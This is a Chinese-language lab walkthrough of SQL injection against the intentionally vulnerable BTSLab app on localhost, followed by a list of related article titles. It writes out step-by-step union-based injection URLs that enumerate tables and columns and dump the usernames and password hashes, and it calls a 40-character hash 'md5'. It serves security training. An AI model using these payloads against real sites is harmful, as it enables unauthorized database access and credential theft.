btslab全攻略——sql注入
sql注入
百度百科--sql注入:
sql注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执 行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所 致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。
要了解sql语句以及php对数据库的操作,推荐菜鸟教程
http://www.runoob.com/php/php-mysql-intro.html http://www.runoob.com/sql/sql-tutorial.html
http://www.runoob.com/mysql/mysql-drop- tables.html
SQL注入的产生原因通常表现在以下几方面:
- 不当的类型处理
- 不安全的数据库配置
- 不合理的查询集处理
- 不当的错误处理
- 转义 字符处理不合适
- 多个提交处理不当
进来便看到一篇文章,再看地址栏,典型的get注入。
1、先判断是数字型注入还是文文本型注入
数字型注入就是这种sql语句
select * from posts where postid=1
而文本型就是类似这种
select * from posts where postid= '1'
两者在利用上的区别就是需不需要闭合引号,显然数字型的不需要,所以通常数字型的sql注入更好利用。
测试两条语句
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 0
(浏览器下方的工具是firefox的插件hackbar,挺方便的,推荐大家使用这个)
可以看到第一条成功显示,第二条显示异常,便说明这里的注入点是数字型注入,因为我们没有进行引号的闭合,而第 一条显示成功,是因为后台构造的sql语句合法且合理,select * from posts where postid=1 and 1,所以成功查 询,但是第二条,由于and 0,所以条件变成了永假,查询不到任何数据,前端自然无显示。
2、通过order by语句判断数据列数
order by根据字面意思就可知是通过什么排序,而后面的可跟一个数字,比如order by 2,意思便是根据数据的第2列排 序,我们从order by 1开始测试,发现
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 order by 4 显示正常
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 order by 5 显示异常
测试到5的时候显示Unknown column '5' in 'order clause',说明查到的数据中没有第5列,由此可见当前数据的列数为 4。
3.union select查询数据库名,表名,以及列名 首先看看数据的显示点
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,4
(为什么union slect 1,2,3,4? 因为union联合查找要求列数相同,上面已经判断了列数为4,所以这里需要4 个,1234随便写的,还可以这样union select 1,2,now(),'aaa')
我这里就利用2这个点来查数据库名吧,mysql中有个函数database(),可显示当前在使用的数据库,所以
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,database(),3,4
爆出数据库名为bts,当然后面其实可用可不用,因为反正数据库名都可直接用database()这个函数代替。
(再补充个知识点,mysql中有个数据库叫做information_schema,这个里有张表叫做tables,其中的table_name列 储存了所有数据库中的所有表名,而table_schema则储存着该表所在的数据库名,group_concat()则可以把多项数据联 合成一个字符串)
我们现在要查当前数据库下有哪些表,所以构造sql语句如下
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
查到当前bts数据库下有4张表messages,posts,tdata,users。
我就选择user继续注入吧 (再补充另一个,mysql中有个数据库叫做information_schema,这个里有张表叫做columns,其中的column_name 列储存了所有数据库中的所有表的列名,而table_name列则储存着该列所在的表名,table_schema列储存着所在的数 据库名)
我们要查当前bts数据库下的users表有哪些列,所以构造语句
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema=database()
查出bts数据库的users表含有ID,username,email,password,about,privilege,avatar列。
然后爆数据吧,想必大家最关心的是username和password,所以我们从user表查username和password,同时用两个 显示点,4和2,于是构造语句
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(username),3,group_concat(password) from users
账号admin,密码5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8(md5解密后是password)
相关文章
- Autofac IOC 依赖注入方式和生命周期以及Autofac配置文件配置IOC属性注入
- 在Apache Struts中利用OGNL注入
- 【Mysql sql inject】POST方法BASE64编码注入write-up
- 第二章 IoC Annotation注入
- php如何防止SQL注入
- mysql分享二-防止sql注入
- Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。
- 学生信息管理系统--SQL注入
- 依赖注入 概念演示示例
- xpath注入详解
- SQL 宽字节注入详解
- SQL注入之非MySQL数据库注入技巧
- [ASP.NET Core 3框架揭秘] 依赖注入[2]:IoC模式
- ASP.NET Core中的依赖注入(1):控制反转(IoC)
- Angular 依赖注入机制实现原理的深入介绍
- Angular 依赖注入里factory函数的调用时机
- SQL注入(SQL注入(SQLi)攻击)攻击-脱库
- WEB漏洞攻防- SQL注入原理、判定方式、过滤及修复
- 【SQL干货】一条sql查出来全国空气质量排名
- 不用被动注入的方式, 主动从 Spring Boot 应用容器中的获取 Bean 的方法
- 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 注入工具的 main 函数分析 )
- SQL注入学习
- 23. Bypass ngx_lua_waf SQL注入防御(多姿势)
- SQL注入 绕过WAF 绕过cc防护,没想到爬虫这么有用!!!比代理池还有延迟好用太多。
- WEB漏洞攻防 - SQL注入 - 高权限注入
- WEB漏洞攻防 - SQL注入 - 安全测试思路总结